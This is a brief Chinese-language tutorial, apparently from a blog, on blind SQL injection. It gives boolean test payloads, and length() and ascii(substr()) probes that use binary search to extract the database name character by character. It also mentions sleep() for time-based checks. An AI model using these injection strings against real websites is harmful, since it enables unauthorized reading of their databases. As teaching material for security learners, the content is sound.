针对不回显的sql注入,可以利用布尔和延时注入来进行判断
SQL盲注_第1张图片
例如布尔的判断是否注入成功
1 and 1=2
1' and '1'='2
1" and "1"="2

1 当输入1' and '1'='2显示为假时,则说明注入成功;

2 接下来判断字符串长度
利用length()函数,通过二分法来判断
id=1' and length(database())>10 --
id=1' and length(database())>5 --

3通过ascII码的范围,利用二分法来判断每个字符的值,再转换为英文
ascii() 函数 ascii码范围在0-127
id=1' and ascii(substr(database(),1,1))>64 --
SQL盲注_第2张图片
大于64为真,则值再64<字母<127 然后逐步来判断ascii码的值,最终确定字母

当没有回显时候,利用延时注入的函数判断
sleep()